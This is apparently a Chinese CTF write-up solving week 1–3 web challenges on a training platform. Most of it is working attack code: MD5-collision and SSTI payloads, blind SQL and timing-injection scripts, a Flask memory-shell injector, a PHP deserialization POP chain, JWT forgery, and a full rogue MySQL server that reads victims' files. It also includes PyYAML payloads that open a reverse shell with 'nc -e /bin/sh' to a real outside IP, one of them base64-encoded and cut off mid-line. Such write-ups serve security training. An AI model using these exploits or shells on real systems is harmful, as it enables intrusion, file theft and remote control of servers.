week1

Gitttttttt

git泄露打完了

python GitHack.py http://challenge.ilovectf.cn:30746/.git

Ping??

from_http

题目有点问题,用bp发post数据时没响应,那就只能代码发送

import requests

# CTF请求代码
def send_ctf_request():
    url = "http://challenge.ilovectf.cn:30823/"
    
    headers = {
        "Referer": "?CTF",
        "User-Agent": "?CTFBrowser",
        "Cookie": "wishu=happiness",
        "X-Forwarded-For": "127.0.0.1"
    }
    
    # GET参数
    params = {
        "welcome": "to"
    }
    
    # POST数据
    data = {
        "the": "?CTF"
    }
    
    try:
        # 发送POST请求
        response = requests.post(url, params=params, data=data, headers=headers)
        
        print("状态码:", response.status_code)
        print("响应头:", response.headers)
        print("响应内容:", response.text)
        
        return response
        
    except Exception as e:
        print("请求失败:", e)
        return None

# 执行请求
if __name__ == "__main__":
    send_ctf_request()

secret of php

考点:md5强相等

<?php
highlight_file(__FILE__);
include("flag.php");
$a = $_GET['a'];

if (isset($a)){
    if($a === "2025") {
        die("no");
    } else {
        echo "<br>"."yes"."<br>";
    }
    if(intval($a,0) === 2025) {
        echo "yes yes"."<br>";
        echo "Congratulations! You have passed the first level, the next level is ".$path."<br>";
    } else {
        die("no no");
    }
} else {
    echo "a is not set"."<br>";
}

先a=03751八进制进到第二关

<?php
highlight_file(__FILE__);
include('flag.php');
$a = $_POST['a'];
$b = $_POST['b'];

if (isset($a) && isset($b)){
    if ($a !== $b && md5($a) == md5($b)){
        echo "<br>yes<br>";
    } else {
        die("no");
    }
    $a = $_REQUEST['aa'];
    $b = $_REQUEST['bb'];
    if ($a !== $b && md5((string)$a) === md5((string)$b)){
        echo "yes yes<br>";
    } else {
        die("no no");
    }
    $a = $_REQUEST['aaa'];
    $b = $_REQUEST['bbb'];
    if ((string)$a !== (string)$b && md5((string)$a) === md5((string)$b)){
        echo "yes yes yes<br>";
        echo "Congratulations! You have passed the second level, the flag is ".$flag."<br>";
    } else {
        die("no no no");
    }
} else {
    echo "a or b is not set<br>";
}

前面2个都数组绕过,最后一关强相等

a%5B%5D=1&b%5B%5D=2&aa%5B%5D=1&bb%5B%5D=2&aaa=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2&bbb=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2

前端小游戏

搜索score解码即可


包含不明东西的食物?!

目录穿越打完了

week2

Look at the picture

测试一下有ssrf,但是只能用http协议,所以得另想办法

目录扫描发现www.zip源码泄露

<?php
// 随机图片URL数组
$randomImages = [
    'https://picsum.photos/500/500?random=1',
    'https://picsum.photos/500/500?random=2',
    'https://picsum.photos/500/500?random=3',
    'https://picsum.photos/500/500?random=4',
    'https://picsum.photos/500/500?random=5',
    'https://picsum.photos/500/500?random=6',
    'https://picsum.photos/500/500?random=7',
    'https://picsum.photos/500/500?random=8',
    'https://picsum.photos/500/500?random=9',
    'https://picsum.photos/500/500?random=10'
];

// 获取URL参数
$imageUrl = isset($_GET['url']) ? $_GET['url'] : '';
$blacklist_keywords = [
        'file://', 'file%3A//',
        'phar://', 'phar%3A//',
        'zip://', 'zip%3A//',
        'data:', 'data%3A',
        'glob://', 'glob%3A//',
        'expect://', 'expect%3A//',
        'ftp://', 'ftps://',
         'passwd', 'shadow', 'etc/', 'root', 'bin', 'bash',
        'base64',  'string.',  'rot13', 
        'eval', 'system', 'exec', 'shell_exec', 'popen'
    ];
foreach ($blacklist_keywords as $keyword) {
        if (stripos($imageUrl, $keyword) !== false) {
            die("I see you.....");
        }
    }
// 如果没有URL参数,选择一个随机图片并重定向
if (empty($imageUrl)) {
    $randomImage = $randomImages[array_rand($randomImages)];
    header("Location: ?url=" . urlencode($randomImage));
    exit();
}

// 初始化变量
$base64Image = '';
$imageInfo = null;
$error = '';

if (!empty($imageUrl)) {
    // 验证URL格式
    if (filter_var($imageUrl, FILTER_VALIDATE_URL)) {
        // 使用file_get_contents获取图片内容
        $imageContent = @file_get_contents($imageUrl);
        
        if ($imageContent !== false) {
            // 获取图片信息
            $imageInfo = @getimagesizefromstring($imageContent);
            if ($imageInfo) {
                // 获取MIME类型
                $mimeType = $imageInfo['mime'];
                
                // 将图片内容转换为base64编码
                $base64Image = base64_encode($imageContent);
            } else {
                $error = '无法识别的图片格式 你的图片:'.$imageUrl.":".$imageContent;
            }
        } else {
            $error = '无法获取图片内容,请检查URL是否正确 '.$imageUrl.":".$imageContent;
        }
    } else {
        $error = '无效的URL格式';
    }
}
?>

猜测flag在根,伪协议直接读

url=php://filter/resource=/flag

wp还进行了编码转换

php:!$filter/convert.iconv.UTF-8.UTF-7/resource=/flag


Only Picture Up

改后缀上传后直接利用木马就行,后端应该是有个include

Regular Expression

<?php
highlight_file(__FILE__);
error_reporting(0);
include('flag.php');

if(isset($_GET["?"])){
    $_? = $_GET['?'];
    if(preg_match('/^-(ctf|CTF)<\n>{5}[h-l]\d\d\W+@email\.com flag.\b$/', $_?) && strlen($_?) == 40) {
        echo 'Good job! Now I need you to write a regular expression for my string.</br>';
        if(isset($_POST['preg'])){
            $preg = str_replace("|","",$_POST['preg']);
            $test_string = 'Please\ 777give+. !me?<=-=>(.*)Flaggg0';
            if(preg_match('/'.$preg.'/', $test_string) && strlen($_POST['preg']) > 77){
                echo "Congratulations! Here is your flag: ".$flag;
            }else{
                echo "Almost succeeded!";
            }
        }
    }else{
        echo "Think twice, and go to study!!!";
    }
}else{
    echo "Welcome to ?ctf";
}
%3F=-ctf<%0A>>>>>h12!!!!!!!!!!@email.com%20flag0
注意:题目\n要的是实际换行。URL 里要写成 %0A,然后就算\W+: 匹配一个或多个非单词字符,可以用来凑字符数量,还有就算{5}就是前面的字符重复5次,这里就是>重复5次,正则里末尾是 flag.\b,最后这个“.”表示任意字符,但 \b 要求最后一个字符是“单词字符”(字母/数字/下划线)。所以结尾不能用点号,要用字母/数字等。

第二个正则意思是移除所有 "|" 字符后可以匹配到_POST['preg']) > 77,而.* = 匹配任意长度的任意字符,所以构造如下

preg=||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||.*

留言板

考点:过滤lipsum.cycler还有引号的ssti

用request绕过就行

{{get_flashed_messages.__globals__.os.popen(request.form.cmd).read()}}&cmd=cat /flag

这个也行

{{joiner.__init__.__globals__.os.popen(request.form.cmd).read()}}&cmd=cat /flag

登录和查询

考点:布尔盲注

源码给了个md文件,提示前面是弱密码后面是sql,而且爆破要用它的字典

最后admin/admin123登入,然后就算sql注入,注入点是get参数id,没过滤无回显打布尔盲注就行

import requests

base_url = "http://challenge.ilovectf.cn:30830/flag.php"

result = ""
i = 0

while True:
    i += 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) // 2  # 使用整数除法

        # 根据需要切换payload
        #payload = "sElect group_concat(table_name) FRom infOrmation_schema.tables Where table_schema=database()"
        #payload = "sElect group_concat(column_name) FRom infOrmation_schema.columns Where table_name='flags'"
        payload = "sElect group_concat(flag) FRom `flags`"       #这里flags要用反引号才行,单引号不行,反引号用于标识数据库、表、列等对象的名称。

        # 构造正确的URL字符串(注意去掉了末尾逗号)
        current_url = f"{base_url}?id=1' And Ord(sUbstr(({payload}),{i},1))>{mid}--+"
        
        # 添加Cookie
        cookies = {
            'PHPSESSID': 'b81ef54e3299576667904da2fc56d251'
        }
        
        r = requests.get(url=current_url, cookies=cookies)
        if 'You_are_so_a_go0d_ctfer' in r.text:
                head = mid + 1
        else:
                tail = mid


    if head != 32:
        result += chr(head)
        print(f"[+] 当前结果: {result}")

这是什么函数

考点:python原型污染

目录爆破的得/src,访问得源码

from flask import Flask, request, render_template
import json

app = Flask(__name__)


def merge(src, dst):
    """
    递归合并两个字典/对象
    """
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


def is_json(data):
    """
    检查字符串是否为有效的JSON格式
    """
    try:
        json.loads(data)
        return True
    except ValueError:
        return False


class cls():
    """
    自定义类,用于存储属性
    """
    def __init__(self):
        pass


# 全局变量
instance = cls()
cat = "where is the flag?"
dog = "how to get the flag?"


@app.route('/', methods=['GET', 'POST'])
def index():
    """
    主页路由
    """
    return render_template('index.html')


@app.route('/flag', methods=['GET', 'POST'])
def flag():
    """
    获取flag的路由
    当cat == dog时返回flag,否则返回cat和dog的内容
    """
    with open('/flag', 'r') as f:
        flag = f.read().strip()
    
    if cat == dog:
        return flag
    else:
        return cat + " " + dog


@app.route('/src', methods=['GET', 'POST'])
def src():
    """
    返回源代码的路由
    """
    return open(__file__, encoding="utf-8").read()


@app.route('/pollute', methods=['GET', 'POST'])
def pollution():
    """
    污染路由 - 接收JSON数据并合并到instance对象中
    """
    if request.is_json:
        merge(json.loads(request.data), instance)
        return "success"
    else:
        return "fail"


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

很简单的python原型污染链,打

{
    "__init__":{
        "__globals__":{
            "cat":"how to get the flag?"
    }
}
}

然后访问/flag就行


week3

这又是什么函数

考点:命令无回显打盲注

from flask import Flask,request,render_template
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template('index.html')
@app.route('/doit', methods=['GET', 'POST'])
def doit():
    e=request.form.get('e')
    try:
        eval(e)
        return "done!"
    except Exception as e:
        return "error!"
@app.route('/src', methods=['GET', 'POST'])
def src():
    return open(__file__, encoding="utf-8").read()
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=5000)

测试不出网,打内存马失败,那就打盲注

import requests
import string

url = "http://challenge.ilovectf.cn:30621/doit"
flag = ""
position = 1

while True:
    low, high = 32, 127  # ASCII 范围
    char_found = False

    while low < high:
        mid = (low + high) // 2
        payload = f"""
__import__('time').sleep(2) if ord(open('/flag').read()[{position-1}])>{mid} else None
        """.strip().replace('\n', '')

        data = {'e': payload}
        try:
            r = requests.post(url, data=data, timeout=3)
            if r.elapsed.total_seconds() > 2:
                low = mid + 1
            else:
                high = mid
        except requests.Timeout:
            low = mid + 1

    guess_char = chr(low)
    if low == 32 or low >= 126:  # 非打印字符,可能结束
        break
    flag += guess_char
    position += 1
    print(f"[+] Current flag: {flag}")


解法二:pickle内存马

看wp发现可以打python内存马

import requests

url = "http://challenge.ilovectf.cn:30775"
headers = {
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
}

# 第一步:注入恶意代码
url1 = f"{url}/doit"
payload = {
    'e': r"""eval("__import__(\"sys\").modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('0')).read())")""".strip()
}

print("[*] 正在注入恶意代码...")
r = requests.post(url1, data=payload, headers=headers)
print("注入响应:", r.text)

# 第二步:执行命令读取flag
url2 = f"{url}/?0=cat /flag"
print("\n[*] 正在执行命令读取flag...")
r = requests.get(url2, headers=headers)  # 这里应该是GET请求
print("执行结果:", r.text)


魔术大杂烩

<?php
highlight_file(__FILE__);
error_reporting(0);
class Wuhuarou{
    public $Wuhuarou;
    function __wakeup(){
        echo "Nice Wuhuarou!</br>";
        echo $this -> Wuhuarou;
    }
}
class Fentiao{
    public $Fentiao;
    public $Hongshufentiao;
    public function __toString(){
        echo "Nice Fentiao!</br>";
        return $this -> Fentiao -> Hongshufentiao;
    }
}
class Baicai{
    public $Baicai;
    public function __get($key){
        echo "Nice Baicai!</br>";
        $Baicai = $this -> Baicai;
        return $Baicai();
    }
}
class Wanzi{
    public $Wanzi;
    public function __invoke(){
        echo "Nice Wanzi!</br>";
        return $this -> Wanzi -> Xianggu();
    }
}
class Xianggu{
    public $Xianggu;
    public $Jinzhengu;
    public function __construct($Jinzhengu){
        $this -> Jinzhengu = $Jinzhengu;
    }
    public function __call($name, $arg){
        echo "Nice Xianggu!</br>";
        $this -> Xianggu -> Bailuobo = $this -> Jinzhengu;
    }
}
class Huluobo{
    public $HuLuoBo;
    public function __set($key,$arg){
        echo "Nice Huluobo!</br>";
        eval($arg);
    }
}

if (isset($_POST['eat'])){
    unserialize($_POST['eat']);
}

基础的pop

<?php

error_reporting(0);
class Wuhuarou{
    public $Wuhuarou;
    function __wakeup(){
        echo "Nice Wuhuarou!</br>";
        echo $this -> Wuhuarou;
    }
}
class Fentiao{
    public $Fentiao;
    public $Hongshufentiao;
    public function __toString(){
        echo "Nice Fentiao!</br>";
        return $this -> Fentiao -> Hongshufentiao;
    }
}
class Baicai{
    public $Baicai;
    public function __get($key){
        echo "Nice Baicai!</br>";
        $Baicai = $this -> Baicai;
        return $Baicai();
    }
}
class Wanzi{
    public $Wanzi;
    public function __invoke(){
        echo "Nice Wanzi!</br>";
        return $this -> Wanzi -> Xianggu();
    }
}
class Xianggu{
    public $Xianggu;
    public $Jinzhengu;
    public function __construct($Jinzhengu){
        $this -> Jinzhengu = $Jinzhengu;
    }
    public function __call($name, $arg){
        echo "Nice Xianggu!</br>";
        $this -> Xianggu -> Bailuobo = $this -> Jinzhengu;
    }
}
class Huluobo{
    public $HuLuoBo;
    public function __set($key,$arg){
        echo "Nice Huluobo!</br>";
        eval($arg);
    }
}

$a=new Wuhuarou();
$a->Wuhuarou=new Fentiao;
$a->Wuhuarou->Fentiao=new Baicai();
$a->Wuhuarou->Fentiao->Baicai=new  Wanzi();
$a->Wuhuarou->Fentiao->Baicai->Wanzi=new Xianggu('system("cat /flag");');
$a->Wuhuarou->Fentiao->Baicai->Wanzi->Xianggu=new Huluobo();

echo serialize($a);
unserialize(serialize($a));

mysql管理工具

考点:mysql任意文件读取+yaml反序列化

用户名与密码在源码,登进去后抓包发现直接伪造不行,但是发现jwt伪造

爆破密钥试试

python jwt_cracker.py "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJleHAiOjE3NjIzMzQ3OTl9.BWRSaQr1TzahIJdlrgNYXciSPMX2taKFiQBO4JY8Fdo"

没爆出来?换kali的试试,得到jH84(每次密钥不同)

伪造即可

import jwt
import datetime

# 定义标头(Headers)
headers = {
  "alg": "HS256",
  "typ": "JWT"
}

# 定义有效载体(Payload)
token_dict = {
  "username": "admin",
  "exp": 1762334799
}

# 密钥
secret = 'jH84'

jwt_token = jwt.encode(token_dict, secret, algorithm='HS256', headers=headers)
print("JWT Token:", jwt_token)

显示连接不到127.0.0.1,猜测可以连接到任意SQL客户端

打MySQL任意⽂件读取漏洞

`实现原理:`
攻击者搭建一个伪造的mysql服务器,当有用户去连接上这个伪造的服务器时。
攻击者就可以任意读取受害者的文件内容。

原理参考https://cloud.tencent.com/developer/article/1426503

攻击代码:https://github.com/allyshka/Rogue-MySql-Server

https://byaaronluo.github.io/%E7%9F%A5%E8%AF%86%E5%BA%93/01.WEB%E5%AE%89%E5%85%A8/99.%E5%85%B6%E4%BB%96/18.MYSQL%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96.html

先运行代码试试(在vps运行,到时候连接主机就是vps,由于环境原因,我修改了一下代码,)

#!/usr/bin/env python
#coding: utf8

import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers
import sys

PORT = 3306

# 修复日志配置
log = logging.getLogger(__name__)
log.setLevel(logging.INFO)

# 使用文本模式而不是二进制模式
handler = logging.handlers.WatchedFileHandler('mysql.log', 'a', encoding='utf-8')
handler.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(handler)

# 同时添加控制台输出以便调试
console_handler = logging.StreamHandler(sys.stdout)
console_handler.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(console_handler)

filelist = (
    '/etc/passwd',
)

#================================================
#=======No need to change after this lines=======
#================================================

__author__ = 'Gifts'

def daemonize():
    import os, warnings
    if os.name != 'posix':
        warnings.warn('Cant create daemon on non-posix system')
        return

    if os.fork(): os._exit(0)
    os.setsid()
    if os.fork(): os._exit(0)
    os.umask(0o022)
    null=os.open('/dev/null', os.O_RDWR)
    for i in range(3):
        try:
            os.dup2(null, i)
        except OSError as e:
            if e.errno != 9: raise
    os.close(null)


class LastPacket(Exception):
    pass


class OutOfOrder(Exception):
    pass


class mysql_packet(object):
    packet_header = struct.Struct('<Hbb')
    packet_header_long = struct.Struct('<Hbbb')
    def __init__(self, packet_type, payload):
        if isinstance(packet_type, mysql_packet):
            self.packet_num = packet_type.packet_num + 1
        else:
            self.packet_num = packet_type
        self.payload = payload

    def __bytes__(self):
        """返回字节表示"""
        payload_len = len(self.payload)
        if payload_len < 65536:
            header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
        else:
            header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)

        result = header + self.payload
        return result

    def __str__(self):
        """字符串表示,用于调试"""
        return repr(self.__bytes__())

    @staticmethod
    def parse(raw_data):
        packet_num = raw_data[0]
        payload = raw_data[1:]
        return mysql_packet(packet_num, payload)


class http_request_handler(asynchat.async_chat):

    def __init__(self, addr):
        asynchat.async_chat.__init__(self, sock=addr[0])
        self.addr = addr[1]
        self.ibuffer = []
        self.set_terminator(3)
        self.state = 'LEN'
        self.sub_state = 'Auth'
        self.logined = False
        
        # 认证载荷 - 全部使用字节
        auth_payload = b"".join((
            b'\x0a',  # Protocol
            b'5.6.28-0ubuntu0.14.04.1' + b'\0',
            b'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
        ))
        
        self.push(mysql_packet(0, auth_payload))
        self.order = 1
        self.states = ['LOGIN', 'CAPS', 'ANY']

    def push(self, data):
        log.debug('Pushed: %r', data)
        # 确保推送的是字节数据
        if data is not None:
            data = bytes(data)  # 调用 mysql_packet 的 __bytes__ 方法
        asynchat.async_chat.push(self, data)

    def collect_incoming_data(self, data):
        log.debug('Data recved: %r', data)
        self.ibuffer.append(data)

    def found_terminator(self):
        data = b"".join(self.ibuffer)
        self.ibuffer = []

        if self.state == 'LEN':
            # 处理长度字节
            len_bytes = data[0] + 256 * data[1] + 65536 * data[2] + 1
            if len_bytes < 65536:
                self.set_terminator(len_bytes)
                self.state = 'Data'
            else:
                self.state = 'MoreLength'
        elif self.state == 'MoreLength':
            if data[0] != 0:
                self.push(None)
                self.close_when_done()
            else:
                self.state = 'Data'
        elif self.state == 'Data':
            packet = mysql_packet.parse(data)
            try:
                if self.order != packet.packet_num:
                    raise OutOfOrder()
                else:
                    self.order = packet.packet_num + 2
                    
                if packet.packet_num == 0:
                    if packet.payload[0] == 0x03:  # Query
                        log.info('Query')
                        filename = random.choice(filelist)
                        PACKET = mysql_packet(
                            packet,
                            b'\xFB' + filename.encode('latin1')
                        )
                        self.set_terminator(3)
                        self.state = 'LEN'
                        self.sub_state = 'File'
                        self.push(PACKET)
                    elif packet.payload[0] == 0x1b:  # SelectDB
                        log.info('SelectDB')
                        self.push(mysql_packet(
                            packet,
                            b'\xfe\x00\x00\x02\x00'
                        ))
                        raise LastPacket()
                    elif packet.payload[0] in (0x02,):  # 使用元组比较
                        self.push(mysql_packet(
                            packet, b'\0\0\0\x02\0\0\0'
                        ))
                        raise LastPacket()
                    elif packet.payload == b'\x00\x01':
                        self.push(None)
                        self.close_when_done()
                    else:
                        log.warning('Unknown payload: %r', packet.payload)
                        raise ValueError('Unknown payload')
                else:
                    if self.sub_state == 'File':
                        log.info('-- result')
                        log.info('Result: %r', data)

                        if len(data) == 1:
                            self.push(
                                mysql_packet(packet, b'\0\0\0\x02\0\0\0')
                            )
                            raise LastPacket()
                        else:
                            self.set_terminator(3)
                            self.state = 'LEN'
                            self.order = packet.packet_num + 1

                    elif self.sub_state == 'Auth':
                        self.push(mysql_packet(
                            packet, b'\0\0\0\x02\0\0\0'
                        ))
                        raise LastPacket()
                    else:
                        log.info('-- else')
                        raise ValueError('Unknown packet')
            except LastPacket:
                log.info('Last packet')
                self.state = 'LEN'
                self.sub_state = None
                self.order = 0
                self.set_terminator(3)
            except OutOfOrder:
                log.warning('Out of order')
                self.push(None)
                self.close_when_done()
        else:
            log.error('Unknown state: %s', self.state)
            self.push(None)
            self.close_when_done()


class mysql_listener(asyncore.dispatcher):
    def __init__(self, sock=None):
        asyncore.dispatcher.__init__(self, sock)

        if not sock:
            self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
            self.set_reuse_addr()
            try:
                self.bind(('', PORT))
            except socket.error:
                exit()

            self.listen(5)

    def handle_accept(self):
        pair = self.accept()

        if pair is not None:
            # 确保日志记录使用字符串
            log.info('Conn from: %s', str(pair[1]))
            tmp = http_request_handler(pair)


if __name__ == '__main__':
    z = mysql_listener()
    # daemonize()
    log.info("MySQL listener started on port %d", PORT)
    try:
        asyncore.loop()
    except KeyboardInterrupt:
        log.info("Shutting down...")

接下来读app.py,读出来结果有点乱,给ai整理一下,得到

from flask import Flask, request, jsonify, render_template_string
import MySQLdb
import jwt
import random
import string
from functools import wraps
from datetime import datetime, timedelta
import yaml  # pyyaml==5.1

app = Flask(__name__)
app.secret_key = ''.join(random.choices(string.ascii_letters + string.digits, k=4))

JWT_SECRET = ''.join(random.choices(string.ascii_letters + string.digits, k=4))
admin_pass = ''.join(random.choices(string.ascii_letters + string.digits, k=10))
JWT_ALGORITHM = 'HS256'

USERS = {'admin': admin_pass, 'user': 'pass'}

def generate_token(username):
    payload = {'username': username, 'exp': datetime.utcnow() + timedelta(hours=24)}
    return jwt.encode(payload, JWT_SECRET, algorithm=JWT_ALGORITHM)

def verify_token(token):
    try:
        payload = jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGORITHM])
        return payload['username']
    except Exception:
        return None

def login_required(f):
    @wraps(f)
    def wrapper(*args, **kwargs):
        token = request.headers.get('Authorization')
        if not token or not token.startswith('Bearer '):
            return jsonify({'error': 'Token missing'}), 401
        username = verify_token(token[7:])
        if not username:
            return jsonify({'error': 'Invalid token'}), 401
        request.current_user = username
        return f(*args, **kwargs)
    return wrapper

@app.route('/')
def index():
    return render_template_string('''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>MySQL 登录</title>

<style>
body {font-family:sans-serif;background:linear-gradient(135deg,#667eea,#764ba2);display:flex;justify-content:center;align-items:center;height:100vh;margin:0;}
.login-container {background:white;padding:40px;border-radius:12px;box-shadow:0 10px 25px rgba(0,0,0,.1);width:360px;text-align:center;}
input{width:100%;padding:10px;margin:8px 0;border:1px solid #ccc;border-radius:6px;}
button{width:100%;padding:10px;background:#667eea;color:white;border:none;border-radius:6px;cursor:pointer;}
.error{color:#e74c3c;font-size:14px;}
.success{color:#27ae60;font-size:14px;}
</style>

</head>

<body>
<div class="login-container">
  <h2>🔐 MySQL 管理登录</h2>

  <form id="f">
    <input id="username" placeholder="用户名" required>
    <input id="password" type="password" placeholder="密码" required>
    <button type="submit">登录</button>

    <div id="msg"></div>

  </form>

</div>

<script>
document.getElementById('f').addEventListener('submit', async e=>{
  e.preventDefault();
  const res = await fetch('/login',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({
    username:username.value,password:password.value
  })});
  const data = await res.json();
  const msg=document.getElementById('msg');
  if(data.success){
    localStorage.setItem('token',data.token);
    msg.innerHTML='<div class="success">登录成功!</div>';
    setTimeout(()=>location.href='/test',1000);
  }else{
    msg.innerHTML='<div class="error">'+data.error+'</div>';
  }
});
</script>

</body>

<!-- user/pass --></html>

''')

@app.route('/login', methods=['POST'])
def login():
    data = request.get_json()
    username, password = data.get('username'), data.get('password')
    if username in USERS and USERS[username] == password:
        token = generate_token(username)
        return jsonify({'success': True, 'token': token})
    return jsonify({'success': False, 'error': '用户名或密码错误'})

@app.route('/test')
def mysql_test_page():
    return render_template_string('''
<!DOCTYPE html>
<html lang="zh-CN">
<head><meta charset="UTF-8"><title>MySQL 连接测试</title>

<style>
body{font-family:sans-serif;background:#f5f7fa;display:flex;justify-content:center;align-items:center;height:100vh;margin:0;}
.container{background:white;padding:30px;border-radius:10px;box-shadow:0 2px 10px rgba(0,0,0,.1);width:360px;}
input{width:100%;padding:8px;margin-top:5px;border:1px solid #ccc;border-radius:5px;}
button{width:100%;padding:10px;margin-top:15px;background:#007bff;color:white;border:none;border-radius:5px;cursor:pointer;}
#out{margin-top:15px;font-family:monospace;white-space:pre-line;}
</style>

</head>

<body>
<div class="container">
<h3>🧩 测试 MySQL 连接</h3>

<form id="f">
  <input name="host" placeholder="Host" value="127.0.0.1">
  <input name="port" placeholder="Port" value="3306">
  <input name="user" placeholder="User" value="root">
  <input name="password" placeholder="Password" type="password">
  <input name="db" placeholder="Database" value="mysql">
  <button type="button" onclick="test()">测试连接</button>

</form>

<pre id="out"></pre>

</div>

<script>
const token = localStorage.getItem('token');
if(!token) location.href='/';
async function test(){
  const out=document.getElementById('out');
  out.textContent='正在测试...';
  let data=Object.fromEntries(new FormData(f).entries());
  try{
    let res=await fetch('/test_mysql',{method:'POST',headers:{
      'Content-Type':'application/json','Authorization':'Bearer '+token
    },body:JSON.stringify(data)});
    let j=await res.json();
    out.style.color=j.success?'green':'red';
    out.textContent=j.success?'连接成功!':'连接失败\\n'+(j.error||'');
  }catch(e){out.textContent='请求出错:'+e;}
}
</script>

</body></html>

''')

@app.route('/test_mysql', methods=['POST'])
@login_required
def test_mysql():
    if request.current_user != 'admin':
        return jsonify({"success": False, "error": "权限不足,只有 admin 可以测试 MySQL 连接"}), 403
    data = request.get_json() or {}
    for k in ("host", "port", "user", "password", "db"):
        if k not in data:
            return jsonify({"success": False, "error": f"缺少字段: {k}"})
    try:
        conn = MySQLdb.connect(
            host=data["host"],
            port=int(data["port"]),
            user=data["user"],
            passwd=data["password"],
            db=data["db"],
            connect_timeout=5,
            charset='utf8mb4',
            local_infile=1,
            ssl=None   
        )
        cur = conn.cursor()
        cur.execute("SELECT 1")
        cur.close()
        conn.close()
        return jsonify({"success": True})
    except MySQLdb.Error as e:
        return jsonify({"success": False, "error": str(e)})
    except Exception as e:
        return jsonify({"success": False, "error": f"其他错误: {e}"})

@app.route('/uneed1t', methods=['GET'])
def uneed1t():
    data = request.args.get('data', '')
    if data == '':
        return jsonify({"result": "null"})
    try:
        black_list = [
            "system", "popen", "run", "os"
        ]
        for forb in black_list:
            if forb in data:
                return jsonify({"result":"error"})
        yaml.load(data, Loader=yaml.Loader)
        return jsonify({"result": "ok"})
    except Exception as e:
        return jsonify({"result":"error"})

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8000)

显然在/uneed1t有yaml反序列化,由于无回显,打反弹shell

import requests
import urllib.parse

# 反弹shell payload - 替换YOUR_IP和YOUR_PORT为实际值
payload = """!!python/object/apply:subprocess.call [['/bin/busybox','nc','101.200.39.193','5000','-e','/bin/sh']]
"""

# URL编码payload
encoded_payload = urllib.parse.quote(payload)

url = "http://challenge.ilovectf.cn:30750/uneed1t"
params = {'data': payload}  # 修正:使用字典,不是字符串


response = requests.get(url, params=params)
print(f"\n[+] Response status: {response.status_code}")
print(f"[+] Server response: {response.text}")

wp还有其它方法

#由于这里有任意文件读取,可以写文件
code = """"!!python/object/apply:subprocess.Popen
- ["sh","-c","cat /f* >1.txt"]
"""
#弹shell
可以起socket去打
code = """"!!python/object/apply:subprocess.Popen
- ["python", "-c", "import 
base64;base64exp='aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIml
wIixwb3J0KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigic2giKQ"'
';exp=b


VIP

